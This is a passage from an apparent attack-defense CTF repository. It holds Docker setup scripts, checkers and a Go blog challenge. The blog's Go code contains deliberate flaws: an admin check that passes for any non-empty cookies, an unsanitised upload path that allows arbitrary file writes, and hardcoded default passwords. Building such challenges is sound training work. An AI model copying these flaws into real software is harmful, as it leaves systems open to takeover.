bold;padding-bottom: 20px;padding-top: 10px;position: relative;text-align: left;} .jg-fenshu{color: #333333;font-size: 16px;font-weight: bold;margin-top: 8px;padding-bottom: 15px;padding-left: 20px;text-align: left;text-indent: 20px;} .jg-fenshu span{font-size: 100px;font-weight: bold;} .jg-fenshu-info{background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-jibaibg.png) no-repeat;display: none;height: 110px;left: 218px;position: absolute;top: 10px;width: 245px;} .jg-fenshu-info p{line-height: 21px;padding: 12px;} #dabai_text .ratevul{color: green;font-size: 16px;padding: 4px;} .jg_showbox{position: absolute;right: -50px;top: 17px;width: 440px;z-index: 50;} .login-user-check{border:none;float: left;width: 250px;} .jg_showbox dl{border-bottom: 1px solid #ececec;clear: both;width: 100%;} .login-user-check dt{float: left;line-height: 28px;text-align: right;width: 100px;} .login-user-check dd{float: left;line-height: 25px;width: 130px; padding-left:15px;} .jg_showbox p{line-height: 25px;padding-left: 35px;} .fc_serious{background-position: 10px -26px;color: #fc3b2c;} .fc_security{background-position: 10px -172px;color: green;} .login-user-check2{height: 155px;margin-left: 5px;margin-top: 13px;padding:5px 10px 0px 15px;width: 140px; background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-lsbg.jpg) no-repeat;} .login-user-check2 ul{background: #ffffff;margin-left: 10px;} .login-user-check2 li{padding-left: 10px;} .login-user-check li{line-height: 33px;} .loudong_grey{color: #999999;} .login-user-check2 span{font-size: 14px;font-weight: bold;padding-left: 5px;} .jg_security{background-position: 2px -171px;color: green;} .jg_dangerous{background-position: 2px -250px;color: red;} .jg_warning{background-position: 2px -76px;color: #ff9900;} .jg_serious{background-position: 2px -24px;color: #fc3b2c;} .jg_weizhi{background-position: 3px -304px;} .fc_weizhi{background-position: 10px -303px;color: #2e92cb;} .fc_warning{background-position: 10px -76px;color: #ff9900;} .fc_security span{color: #888888;margin-left: 5px;} .fc_dangerous{background-position: 10px -250px;color: red;} /*jinshan*/ .websHTit{ height:40px; line-height:40px;} .websHTit.b360{ background-color:#6cc341;} .websHTit.jins{ background-color:#55a7e3;} .websHTit strong{ font-size:18px; color:#fff; padding-left:15px;} .jinSwrap{ padding:20px 0px; width:900px;} .jinS-img{ width:100px;} .jinS-tip{ padding:30px 0px 0px 80px;} .jinS-tip .tipCont{ border:1px solid #c6cede; width:330px; height:110px; border-radius:5px;} .tipcord{ position:absolute; left:-17px; top:38px; *top:15px; _top:15px; z-index:12; background-color:#fff; width:180px;} .tipcord .tipCor-arrow { height: 30px; left: 1px; line-height: 30px; overflow: hidden; position: absolute; top: -5px; width: 30px;} .tipcord .tipCor-arrow em { color: #c6cede !important; top: 0;} .tipcord .tipCor-arrow em,.tipcord .tipCor-arrow i { font-family: SimSun; font-size: 30px; font-style: normal; left: 0; position: absolute;} .tipcord .tipCor-arrow i { color: #fff;left: 2px;} .jinS-list{ padding-left:60px; width:300px; padding-top:20px;} .jinS-list ul li{ line-height:30px; overflow:hidden;} .jinS-list ul li span,.jinS-list ul li strong{ display:block; float:left; height:30px; width:145px;} /*webscan-end*/ /*plugin-begin*/ .Mplugin{ background-color:#f7f7f7; width:1160px; height:185px;} .Mplugin .MpBtn{ padding-top:35px; overflow:hidden; padding-left:300px;} .Mplugin .MpBtn a{ width:240px; height:50px; line-height:50px; text-align:center; background-color:#55a7e3; font-size:18px; color:#fff; display:block; float:left; margin-left:30px; text-decoration:none;} .Mplugin .MpBtn a:hover{ filter: alpha(opacity=80);opacity: 0.8;} .Mplugin .MpTxt{ clear:both;} .Mplugin .MpTxt p{ line-height:28px; color:#777777; font-size:14px; text-align:center;} .Mpcap{ border:1px solid #e8e8e8; padding:15px; width:1128px;} .Mpcap .MpTit{ line-height:24px; height:24px;} .Mpcap .MpTit { color:#777777;} .Mpcap .MpTCont{ padding:20px; width:1099px; height:175px;} .pusmall .Mplugin{ width:960px; overflow:hidden;} .pusmall .Mplugin .MpBtn{ padding-left:150px;} .pusmall .Mpcap{ width:928px;} .pusmall .MpTCont{ width:899px;} .pusmall .Mpcap .MpTCont img{width:100%;} /*plugin-end*/ /*Seo-plugin-begin*/ .Seo-plugin{ width:1120px; font-family: 'Microsoft YaHei';} .Seo-plugin h2{ font: 400 22px/24px 'Microsoft YaHei'; color: #333;padding-bottom: 10px; margin: 20px 0 0; border-bottom: 1px solid #d6d6d8; color:#0474c8;} .Seo-plugin .Ctxtp{padding: 20px;} .Seo-plugin .Ctxtp p{ font-size: 16px; color: #333; text-align: left; line-height: 32px;} .CseoImg{ overflow:hidden; width:1000px;} .CseoImg img{ display:block;} .pusmall .Seo-plugin{ width:920px;} .pusmall .CseoImg,.pusmall .CseoImg img{ max-width:920px; *width:100%; _width:100%;} /*Seo-plugin-end*/ /*errorr*/ .ErrorWrap { width:740px; padding-top:260px; margin:60px auto; background:url(http://cdn.chinaz.com/tools/images/tool/404error.png) top center no-repeat;} .ErrorWrap .linkE a:hover{ text-decoration:none;} .ErrorWrap .linkE,.textsE p {text-align:center; line-height:24px;} .textsE p { color:#777777;} /*2016-02-15json*/ .h180{ height:180px;} .JnavL,.JsonW{min-height:250px; background-color:#fff;} .JnavL{ width:250px;} .JnavL ul{ padding:0px 0px 10px 0px;} .JnavL ul li{ height:40px; line-height:40px; border-bottom:1px solid #e8e8e8; *margin-top:-4px;} .JnavL ul li a{ padding-left:20px; display:block; color:#0474c8;} .JnavL ul li a:hover,.JnavL ul li a.JnCurt{ background-color:#55a7e3; color:#fff; text-decoration:none;} .JsonW{ width:1160px; padding:20px;} .JsonW .JsTxtW .JsTxtCo{ width:1138px; border:0; padding:10px;} .JsonW .JsTxtW-r .JsTxtCo{border:0; padding:10px;} .JsonW .JsBtnW{ width:100%; padding-top:10px; height:35px;} .JsonW .JsBtnW input{ border:none;display:inline-block; float:left; padding:0px 15px;height: 35px;line-height: 35px;font-size: 14px;text-align: center;color: #0474c8;} .JsonW .JsBtnW input.GLOkBtn{ background-color:#55a7e3; color:#fff;} .JsonW .JsBtnW input.inTxt{ text-align:left; color:#333333; padding:0px 5px;} .JsonW .JsBtnW input.GLOkBtn:hover,.Jsmenu02 input.Btn:hover,.Jsmenu03 input.Btn:hover{filter: alpha(opacity=80);opacity: 0.8;} .pusmall .JsonW{width:960px;} .pusmall .JsonW .JsTxtCo{width:938px;} .pusmall .JsonW .JsBtnW input{ padding:0px 9px;} .pusmall .JsonW .w570{ width:470px;} /*json-shitu*/ .Jsmenu{ height:30px;} .pularge .Jsmenu a,.pularge .Jsmenu03 input{ display:inline-block; float:left; color:#0474c8; padding:3px 10px;border:1px solid #9EC2EE; background-color:#ECF5FF; margin-right:5px;} .pusmall .Jsmenu a,.pusmall .Jsmenu03 input{ display:inline-block; float:left; color:#0474c8; padding:3px 5px;border:1px solid #9EC2EE; background-color:#ECF5FF; margin-right:3px;} .Jsmenu a:hover,.Jsmenu03 input:hover{ text-decoration:none; border:1px solid #9EC2EE; background-color:#fff;} .Jsmenu02{ padding:10px; height:30px;} .Jsmenu03{ height:30px; padding:6px 0px;} .Jsmenu02 label{ display:inline-block; float:left; height:26px; line-height:26px;} .Jsmenu02 input{ display:inline-block; float:left; margin-right:10px; border:none;} .Jsmenu02 input.Txt{ padding:0px 5px; border:1px solid #c6cede;height:24px; line-height:24px;} .Jsmenu02 input.Btn{ background-color:#55a7e3;height:26px; line-height:26px; padding:0px 10px; color:#fff;} .infoWrap{ width:280px; min-height:80px; right:15px; top:15px;} .infohead{ background-color:#deecfd;} .infohead li{ padding:5px 5px; height:20px; border-bottom:1px solid #fff;} .infohead li.hTit{ background-color:#BCC7DD;} .infohead li span{ display:inline-block; width:49%; float:left; height:20px; line-height:20px;} .Jstu-l{ width:600px;} .Jstu-l .JsTxtW .JsTxtCo{width:578px;} .pusmall .Jstu-l{ width:400px;} .pusmall .Jstu-l .JsTxtW .JsTxtCo{ width:378px;} /*json-color*/ .Canvas{font:10pt Georgia;background-color:#ECECEC;color:#000000;border:solid 1px #CECECE;} .ObjectBrace{color:#00AA00;font-weight:bold;} .ArrayBrace{color:#0033FF;font-weight:bold;} .PropertyName{color:#CC0000;font-weight:bold;} .String{color:#007777;} .Number{color:#AA00AA;} .Boolean{color:#0000FF;} .Function{color:#AA6633;text-decoration:italic;} .Null{color:#0000FF;} .Comma{color:#000000;font-weight:bold;} PRE.CodeContainer{margin-top:0px;margin-bottom:0px;} /*geshihua*/ .validateMsg {padding: 15px;border: 1px solid transparent;border-radius: 4px;} .validateSuccess {color: #3c763d;background-color: #dff0d8;border-color: #d6e9c6} .validateErr {color: #a94442;background-color: #f2dede;border-color: #ebccd1} .JsTxtW textarea,.JsTxtW-r textarea,.linedwrap .codelines .lineno{font-size:10pt;font-family:'Microsoft Yahei';line-height:normal !important;} .JsTxtW textarea,.JsTxtW-r textarea{padding-right:0.3em;padding-top:0.3em;border:0;} .linedwrap { border:1px solid #c0c0c0;} .linedwrap .lines{margin-top:0px;width:50px;float:left;overflow:hidden;border-right:1px solid #c0c0c0;margin-right:10px; background-color:#eee;} .linedwrap .codelines{padding-top:5px;} .linedwrap .codelines .lineno{color:#777575;padding-right:0.5em;padding-top:0.0em;text-align:right;white-space:nowrap;} .linedwrap .codelines .lineselect{color:red;} div.Canvas{font-family:'Microsoft Yahei';font-size:13px;background-color:#ECECEC;color:#000000;border:solid 1px#CECECE;max-height:300px;overflow:auto; margin-top:10px;display:none;} .Canvas .CodeContainer{font-family:'Microsoft Yahei';} .Canvas pre{display:block;padding:8.5px;margin:0 0 9px;font-size:12.025px;line-height:18px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;} .ObjectBrace{color:#00AA00;font-weight:bold} .ArrayBrace{color:#0033FF;font-weight:bold} .PropertyName{color:#CC0000;font-weight:bold} .String{color:#007777} .Number{color:#AA00AA} .Boolean{color:#0000FF} .Function{color:#AA6633;text-decoration:italic} .Null{color:#0000FF} .Comma{color:#000000;font-weight:bold} PRE.CodeContainer{margin-top:0px;margin-bottom:0px} PRE.CodeContainer img{cursor:pointer;border:none;margin-bottom:-1px} /*left-right*/ .JsTxtW-r{width:570px;} .JsTxtW-r .JsTxtCo{width:548px;} .pusmall .JsTxtW-r{width:470px;} .pusmall .JsTxtW-r .JsTxtCo{width:448px;} /*2016-03-09*/ .wwlr{ width:1160px; padding:20px;} .pusmall .wwlr{ width:960px; padding:20px;} .wwlr textarea.wwlr-l{ padding:10px;} .wwlr textarea.wwlr-r{ padding:10px;} .bg-port{ background-color:#D3EAFB;} ================================================ FILE: web_chinaz/chinaz/views/.htaccess ================================================ deny from all ================================================ FILE: web_chinaz/chinaz/views/base64.php ================================================ {chinaz:header}
    Base64加密内容粘贴在这里
    Base64解密内容粘贴在这里
     多行
    {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/views/index.php ================================================ {chinaz:header}
    源代码
    正在解析
    结果代码
    {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/views/js.php ================================================ {chinaz:header}
    Js代码
    正在解析
    结果代码
    {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/views/md5.php ================================================ {chinaz:header} <
    请把你需要加密的内容粘贴在这里
    {if:"{?=res?}"==""} 加密后的结果 {else} {?=res?} {end if}
    密码:
    {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/views/normaliz.php ================================================ {chinaz:header}
    原始数据
    {if:"{?=res?}"==""} 结果数据 {else} {?=res?} {end if}
    {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/views/phpcom.php ================================================ {chinaz:header}
    原始代码
    正在解析
    {if:"{?=res?}"==""} 结果代码 {else} {?=res?} {end if}
    {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/views/templates/footer.php ================================================

    工具简介

    JS综合工具:js混淆,js加密解密,js格式化,js压缩等功能

    关于站长之家 | 联系我们 | 广告服务 | 友情链接 | 网站动态 | 版权声明 | 人才招聘 | 帮助

    © CopyRight 2002-2017, .COM, Inc.All Rights Reserved.闽ICP备08105208号增值电信业务经营许可证闽B2-20120007号服务器资源由唯一网络赞助

      ================================================ FILE: web_chinaz/chinaz/views/templates/header.php ================================================ Base64加密、解密 - 站长工具

      ================================================ FILE: web_chinaz/chinaz/webshell.php ================================================ ================================================ FILE: web_chinaz/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p {out_port}:80 -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti moxiaoxi/chinaz ================================================ FILE: web_chinaz/reset_docker.sh ================================================ #!/bin/sh rm -rf tmp/* rm -rf chinaz/* cp -R ../web_chinaz/ chinaz/ cp run.sh tmp/run.sh cp flag.py tmp/run.sh docker stop {team_name} docker rm {team_name} docker run -p {out_port}:80 -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti moxiaoxi/chinaz ================================================ FILE: web_chinaz/run.sh ================================================ #!/bin/sh service ssh start a2enmod rewrite service apache2 start rm /var/www/html/index.html /var/www/html/phpinfo.php chown www-data:www-data /var/www/html/* -R python /tmp/flag.py & 2>&1 1>/dev/null cd /var/www/html useradd ctf echo ctf:moxiaoxi666 | chpasswd sleep 2 rm -rf /tmp if [ -x "extra.sh" ]; then ./extra.sh fi /bin/bash ================================================ FILE: web_chinaz/tmp/.gitkeep ================================================ ================================================ FILE: web_example1/checker.py ================================================ #!/usr/bin/env python # -*- coding:utf8 -*- import requests import base64 import random import string def check(target_ip, target_port): res = requests.get('http://{}:{}'.format(target_ip,target_port)) if res.status_code == 200: return True return False if __name__ == '__main__': target_ip, target_port = '127.0.0.1', 8801 check(target_ip, target_port) ================================================ FILE: web_example1/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p {out_port}:80 -p {ssh_port}:22 -v /var/lib/mysql -v `pwd`/html:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti moxiaoxi/web_example ================================================ FILE: web_example1/html/index.php ================================================ ================================================ FILE: web_example1/run.sh ================================================ #!/bin/sh service ssh start a2enmod rewrite service apache2 start chown www-data:www-data /var/www/html/* -R python /tmp/flag.py & 2>&1 1>/dev/null cd /var/www/html useradd ctf echo ctf:moxiaoxi666 | chpasswd sleep 2 rm -rf /tmp #service mysql start #mysql -e "source /var/www/html/test.sql;" supervisord -n if [ -x "extra.sh" ]; then ./extra.sh fi /bin/bash ================================================ FILE: web_example1/tmp/.gitkeep ================================================ ================================================ FILE: web_example2/Dockerfile ================================================ FROM nickistre/ubuntu-lamp RUN apt-get update && apt-get dist-upgrade -y ADD apache2.conf /etc/apache2/apache2.conf EXPOSE 80 EXPOSE 22 CMD ["/tmp/run.sh"] ================================================ FILE: web_example2/apache2.conf ================================================ # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. # # # Summary of how the Apache 2 configuration works in Debian: # The Apache 2 web server configuration in Debian is quite different to # upstream's suggested way to configure the web server. This is because Debian's # default Apache2 installation attempts to make adding and removing modules, # virtual hosts, and extra configuration directives as flexible as possible, in # order to make automating the changes and administering the server as easy as # possible. # It is split into several files forming the configuration hierarchy outlined # below, all located in the /etc/apache2/ directory: # # /etc/apache2/ # |-- apache2.conf # | `-- ports.conf # |-- mods-enabled # | |-- *.load # | `-- *.conf # |-- conf-enabled # | `-- *.conf # `-- sites-enabled # `-- *.conf # # # * apache2.conf is the main configuration file (this file). It puts the pieces # together by including all remaining configuration files when starting up the # web server. # # * ports.conf is always included from the main configuration file. It is # supposed to determine listening ports for incoming connections which can be # customized anytime. # # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ # directories contain particular configuration snippets which manage modules, # global configuration fragments, or virtual host configurations, # respectively. # # They are activated by symlinking available configuration files from their # respective *-available/ counterparts. These should be managed by using our # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See # their respective man pages for detailed information. # # * The binary is called apache2. Due to the use of environment variables, in # the default configuration, apache2 needs to be started/stopped with # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not # work with the default configuration. # Global configuration # # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # NOTE! If you intend to place this on an NFS (or otherwise network) # mounted filesystem then please read the Mutex documentation (available # at ); # you will save yourself a lot of trouble. # # Do NOT add a slash at the end of the directory path. # #ServerRoot "/etc/apache2" # # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. # Mutex file:${APACHE_LOCK_DIR} default # # PidFile: The file in which the server should record its process # identification number when it starts. # This needs to be set in /etc/apache2/envvars # PidFile ${APACHE_PID_FILE} # # Timeout: The number of seconds before receives and sends time out. # Timeout 300 # # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On # # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you leave this number high, for maximum performance. # MaxKeepAliveRequests 100 # # KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection. # KeepAliveTimeout 5 # These need to be set in /etc/apache2/envvars User ${APACHE_RUN_USER} Group ${APACHE_RUN_GROUP} # # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a # container, that host's errors will be logged there and not here. # ErrorLog ${APACHE_LOG_DIR}/error.log # # LogLevel: Control the severity of messages logged to the error_log. # Available values: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the log level for particular modules, e.g. # "LogLevel info ssl:warn" # LogLevel warn # Include module configuration: IncludeOptional mods-enabled/*.load IncludeOptional mods-enabled/*.conf # Include list of ports to listen on Include ports.conf # Sets the default security model of the Apache2 HTTPD server. It does # not allow access to the root filesystem outside of /usr/share and /var/www. # The former is used by web applications packaged in Debian, # the latter may be used for local directories served by the web server. If # your system is serving content from a sub-directory in /srv you must allow # access here, or in any related virtual host. # Options FollowSymLinks AllowOverride all Require all denied AllowOverride all Require all granted #Options Indexes FollowSymLinks AllowOverride all Require all granted # # Options Indexes FollowSymLinks # AllowOverride None # Require all granted # # AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # Require all denied # # The following directives define some format nicknames for use with # a CustomLog directive. # # These deviate from the Common Log Format definitions in that they use %O # (the actual bytes sent including headers) instead of %b (the size of the # requested file), because the latter makes it impossible to detect partial # requests. # # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. # Use mod_remoteip instead. # LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %O" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent # Include of directories ignores editors' and dpkg's backup files, # see README.Debian for details. # Include generic snippets of statements IncludeOptional conf-enabled/*.conf # Include the virtual host configurations: IncludeOptional sites-enabled/*.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet ================================================ FILE: web_example2/build_images.sh ================================================ #!/bin/sh docker build -t web_example2 . ================================================ FILE: web_example2/checker.py ================================================ #!/usr/bin/env python # -*- coding:utf8 -*- import requests import base64 import random import string def check(target_ip, target_port): res = requests.get('http://{}:{}'.format(target_ip,target_port)) if res.status_code == 200: return True return False if __name__ == '__main__': target_ip, target_port = '127.0.0.1', 8801 check(target_ip, target_port) ================================================ FILE: web_example2/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p {out_port}:80 -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti web_example2 ================================================ FILE: web_example2/html/index.php ================================================ ================================================ FILE: web_example2/reset_docker.sh ================================================ #!/bin/sh rm -rf tmp/* rm -rf chinaz/* cp -R ../web_chinaz/ chinaz/ cp run.sh tmp/run.sh cp flag.py tmp/run.sh docker stop {team_name} docker rm {team_name} docker run -p {out_port}:80 -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti web_example2 ================================================ FILE: web_example2/run.sh ================================================ #!/bin/sh service ssh start a2enmod rewrite service apache2 start rm /var/www/html/index.html /var/www/html/phpinfo.php chown www-data:www-data /var/www/html/* -R python /tmp/flag.py & 2>&1 1>/dev/null cd /var/www/html useradd ctf echo ctf:moxiaoxi666 | chpasswd sleep 2 rm -rf /tmp if [ -x "extra.sh" ]; then ./extra.sh fi /bin/bash ================================================ FILE: web_example2/tmp/.gitkeep ================================================ ================================================ FILE: web_gotsctf2018/Dockerfile ================================================ FROM golang:1.12-alpine WORKDIR /go/src/ COPY . . RUN cp my.cnf /etc/my.cnf; \ cp goenv.sh /etc/profile.d/goenv.sh; \ cp -f motd /etc/motd; \ \ cd /go/bin/ && \ go build /go/src/gotsctf2018/vendor/github.com/beego/bee; \ apk add --no-cache python bash vim openssh-server openssh-sftp-server sudo mysql mysql-client; \ \ adduser -D -h /home/ctf ctf; \ chown ctf:ctf -R /go/; \ chown root:root /go/src/gotsctf2018/flag; RUN ln -s /go/src/gotsctf2018/startwebserver.sh /home/ctf/startwebserver.sh; \ rm -rf /var/cache/apk/* tmp my.cnf run.sh goenv.sh Dockerfile motd docker.sh build_images.sh flag.py; EXPOSE 8080 EXPOSE 22 CMD ["/tmp/run.sh"] ================================================ FILE: web_gotsctf2018/build_images.sh ================================================ #!/bin/sh docker build -t moxiaoxi/gotsctf2018 . ================================================ FILE: web_gotsctf2018/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -v /var/lib/mysql -v `pwd`/tmp:/tmp -p {out_port}:8080 -p {other_port1}:8088 -p {ssh_port}:22 -d --name {team_name} -ti moxiaoxi/gotsctf2018 ================================================ FILE: web_gotsctf2018/goenv.sh ================================================ #!/bin/sh PATH=/go/bin:/usr/local/go/bin:$PATH export GOPATH="/go" ================================================ FILE: web_gotsctf2018/gotsctf2018/conf/app.conf ================================================ appname = gotsctf httpport = 8080 runmode = dev db_user = "root" db_pass = "" db_host = "localhost" db_port = 3306 db_name = "gotsctf" db_max_idle_conn = 30 db_max_open_conn = 200 blog_cache_expire = 5 catalog_cache_expire = 5 blog_logo = "/static/images/tsctf-square.png" blog_title = "Go! TSCTF2018" blog_resume = "业务逻辑漏洞,了解一下?" root_email = "2018@tsctf.com" root_name = "tsctf" root_pass = "123456" comment = "Change your password ASAP. Checker will read username and password here." ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/admin_controller.go ================================================ package controllers type AdminController struct { BaseController } func (this *AdminController) CheckLogin() { if !this.IsAdmin { this.Redirect("/login", 302) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/api_controller.go ================================================ package controllers import ( "time" "gotsctf2018/g" "github.com/ulricqin/goutils/filetool" "math/rand" ) const ( UPLOAD_DIR = "static/uploads" ) type ApiController struct { BaseController } func randomString(n int64) string { rand.Seed(time.Now().UnixNano()) var letterRunes = []rune("1234567890") b := make([]rune, n) for i := range b { b[i] = letterRunes[rand.Intn(len(letterRunes))] } return string(b) } func (this *ApiController) Health() { this.Ctx.WriteString("ok") } func (this *ApiController) Upload() { result := map[string]interface{}{ "success": false, } defer func() { this.Data["json"] = &result this.ServeJSON() }() _, header, err := this.GetFile("image") if err != nil { return } name := header.Filename path := this.GetString("savepath") if path != "" { path = UPLOAD_DIR + path + "/" } else { path = UPLOAD_DIR + "/usercontents/editor/" } imgPath := path + name filetool.InsureDir(path) err = this.SaveToFile("image", imgPath) if err != nil { return } imgUrl := "/" + imgPath result["link"] = imgUrl result["success"] = true } func (this *ApiController) Markdown() { if this.IsAjax() { result := map[string]interface{}{ "success": false, } action := this.GetString("action") switch action { case "preview": content := this.GetString("content") result["preview"] = g.RenderMarkdown(content) result["success"] = true } this.Data["json"] = result this.ServeJSON() } } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/article_controller.go ================================================ package controllers import ( "gotsctf2018/models" "gotsctf2018/models/blog" "gotsctf2018/models/catalog" ) type ArticleController struct { BaseController } func (this *ArticleController) Draft() { var blogs []*models.Blog blog.Blogs().Filter("Status", 0).All(&blogs) this.Data["Blogs"] = blogs this.Layout = "layout/admin.html" this.TplName = "article/draft.html" } func (this *ArticleController) Add() { this.Data["Catalogs"] = catalog.All() this.Data["IsPost"] = true if !this.IsAdmin { this.Redirect("/login", 302) } this.Layout = "layout/admin.html" this.TplName = "article/add.html" this.JsStorage("deleteKey", "post/new") } func (this *ArticleController) DoAdd() { title := this.GetString("title") ident := this.GetString("ident") keywords := this.GetString("keywords") catalog_id := this.GetIntWithDefault("catalog_id", -1) aType := this.GetIntWithDefault("type", -1) status := this.GetIntWithDefault("status", -1) content := this.GetString("content") if catalog_id == -1 || aType == -1 || status == -1 { this.Abort("400") return } if title == "" || ident == "" { this.Abort("400") return } cp := catalog.OneById(int64(catalog_id)) if cp == nil { this.Abort("404") return } b := &models.Blog{Ident: ident, Title: title, Keywords: keywords, CatalogId: int64(catalog_id), Type: int8(aType), Status: int8(status)} _, err := blog.Save(b, content) if err != nil { this.Ctx.WriteString(err.Error()) return } this.JsStorage("deleteKey", "post/new") this.Ctx.ResponseWriter.Header().Add("Refresh", "1; url=/catalog/"+cp.Ident) this.Ctx.WriteString("Add success") } func (this *ArticleController) Edit() { id, err := this.GetInt("id") if err != nil { this.Abort("400") return } b := blog.OneById(int64(id)) if b == nil { this.Abort("404") return } this.Data["Content"] = blog.ReadBlogContent(b).Content this.Data["Blog"] = b this.Data["Catalogs"] = catalog.All() this.Layout = "layout/admin.html" this.TplName = "article/edit.html" } func (this *ArticleController) DoEdit() { id, err := this.GetInt("id") if err != nil { this.Abort("400") return } b := blog.OneById(int64(id)) if b == nil { this.Abort("404") return } title := this.GetString("title") ident := this.GetString("ident") keywords := this.GetString("keywords") catalog_id := this.GetIntWithDefault("catalog_id", -1) aType := this.GetIntWithDefault("type", -1) status := this.GetIntWithDefault("status", -1) content := this.GetString("content") if catalog_id == -1 || aType == -1 || status == -1 { this.Ctx.WriteString("catalog || type || status is illegal") return } if title == "" || ident == "" { this.Ctx.WriteString("title or ident is blank") return } cp := catalog.OneById(int64(catalog_id)) if cp == nil { this.Ctx.WriteString("catalog_id not exists") return } b.Ident = ident b.Title = title b.Keywords = keywords b.CatalogId = int64(catalog_id) b.Type = int8(aType) b.Status = int8(status) err = blog.Update(b, content) if err != nil { this.Ctx.WriteString(err.Error()) return } this.JsStorage("deleteKey", "post/edit") this.Ctx.ResponseWriter.Header().Add("Refresh", "1; url=/catalog/"+cp.Ident) this.Ctx.WriteString("Edit success") } func (this *ArticleController) Del() { id, err := this.GetInt("id") if err != nil { this.Abort("400") return } b := blog.OneById(int64(id)) if b == nil { this.Abort("404") return } err = blog.Del(b) if err != nil { this.Ctx.WriteString(err.Error()) return } this.Ctx.ResponseWriter.Header().Add("Refresh", "1; url=/") this.Ctx.WriteString("Del success") } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/base_controller.go ================================================ package controllers import ( "os" "path/filepath" "strconv" "github.com/astaxie/beego" "gotsctf2018/g" "github.com/ulricqin/goutils/paginator" ) type Checker interface { CheckLogin() } type BaseController struct { beego.Controller IsAdmin bool } func (this *BaseController) Prepare() { this.Data["BlogLogo"] = g.BlogLogo this.Data["BlogTitle"] = g.BlogTitle this.Data["BlogResume"] = g.BlogResume this.Data["RootName"] = g.RootName this.Data["RootEmail"] = g.RootEmail workPath, err := os.Getwd() file, err := os.Open(filepath.Join(workPath, "flag")) if err != nil { panic(err) } fdata := make([]byte, 100) n, err := file.Read(fdata) if err != nil { panic(err) } flag := string(fdata[:n]) this.Data["FlagData"] = flag // **CHECKER USING** // Do NOT edit unless you know what you are doing. this.AssignIsAdmin() if app, ok := this.AppController.(Checker); ok { app.CheckLogin() } } func (this *BaseController) AssignIsAdmin() { bb_name := this.Ctx.GetCookie("bb_name") bb_password := this.Ctx.GetCookie("bb_password") if bb_name == "" || bb_password == "" { this.IsAdmin = false return } if bb_name != g.RootName || bb_password != g.RootPass { this.IsAdmin = false } this.IsAdmin = true this.Data["IsAdmin"] = this.IsAdmin } func (this *BaseController) SetPaginator(per int, nums int64) *paginator.Paginator { p := paginator.NewPaginator(this.Ctx.Request, per, nums) this.Data["paginator"] = p return p } func (this *BaseController) GetIntWithDefault(paramKey string, defaultVal int) int { valStr := this.GetString(paramKey) var val int if valStr == "" { val = defaultVal } else { var err error val, err = strconv.Atoi(valStr) if err != nil { val = defaultVal } } return val } func (this *BaseController) JsStorage(action, key string, values ...string) { value := action + ":::" + key if len(values) > 0 { value += ":::" + values[0] } this.Ctx.SetCookie("JsStorage", value, 1<<31-1, "/") } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/catalog_controller.go ================================================ package controllers import ( "fmt" "gotsctf2018/models" "gotsctf2018/models/catalog" "github.com/ulricqin/goutils/filetool" "time" ) const ( CATALOG_IMG_DIR = "static/uploads/usercontents/catalogs" ) type CatalogController struct { AdminController } func (this *CatalogController) Add() { this.Data["IsAddCatalog"] = true this.Layout = "layout/admin.html" this.TplName = "catalog/add.html" } func (this *CatalogController) 